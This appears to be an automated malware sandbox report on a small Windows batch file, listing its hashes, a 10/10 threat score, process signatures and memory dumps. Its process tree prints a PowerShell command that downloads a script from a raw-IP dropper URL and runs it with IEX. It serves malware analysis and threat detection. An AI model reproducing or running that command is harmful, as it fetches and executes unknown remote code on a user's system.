172b87c827469bb03962118ed3294645fa65025b5ed9de5157c0f7d5b4ebef27 | Triage

Analysis

max time kernel
126s
max time network
150s
platform
windows10_x64
resource
win10v200430
submitted
20-05-2020 23:10

Sharing

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General

Target

4f6a42934f34216c6420c04766ae463c.bat
Size

218B
MD5

d7072273beb15bc6b69f0d896b3c3a67
SHA1

252dfb1b0b89545b3b431bfde9c616a85236b34d
SHA256

172b87c827469bb03962118ed3294645fa65025b5ed9de5157c0f7d5b4ebef27
SHA512

cf89e740f3547dde583dec727b45569f2c3a5d072f01420d64f6bb6651e54dd8c3a3bac098f3fa59f61311e99d65fbde23c1d96562274e1943dc9b28ca69cfdc

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/4f6a42934f34216c6420c04766ae463c

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2160 1880 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2160 WerFault.exe
Token: SeBackupPrivilege 2160 WerFault.exe
Token: SeDebugPrivilege 2160 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4f6a42934f34216c6420c04766ae463c.bat"
1⤵
PID:1628

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/4f6a42934f34216c6420c04766ae463c');Invoke-EPKZRFQOIDB;Start-Sleep -s 10000"
2⤵
PID:1880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1880 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2160

Network

MITRE ATT&CK Matrix

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Downloads

memory/2160-0-0x00000000042C0000-0x00000000042C1000-memory.dmp

Filesize
4KB

Download
memory/2160-1-0x00000000048F0000-0x00000000048F1000-memory.dmp

Filesize
4KB

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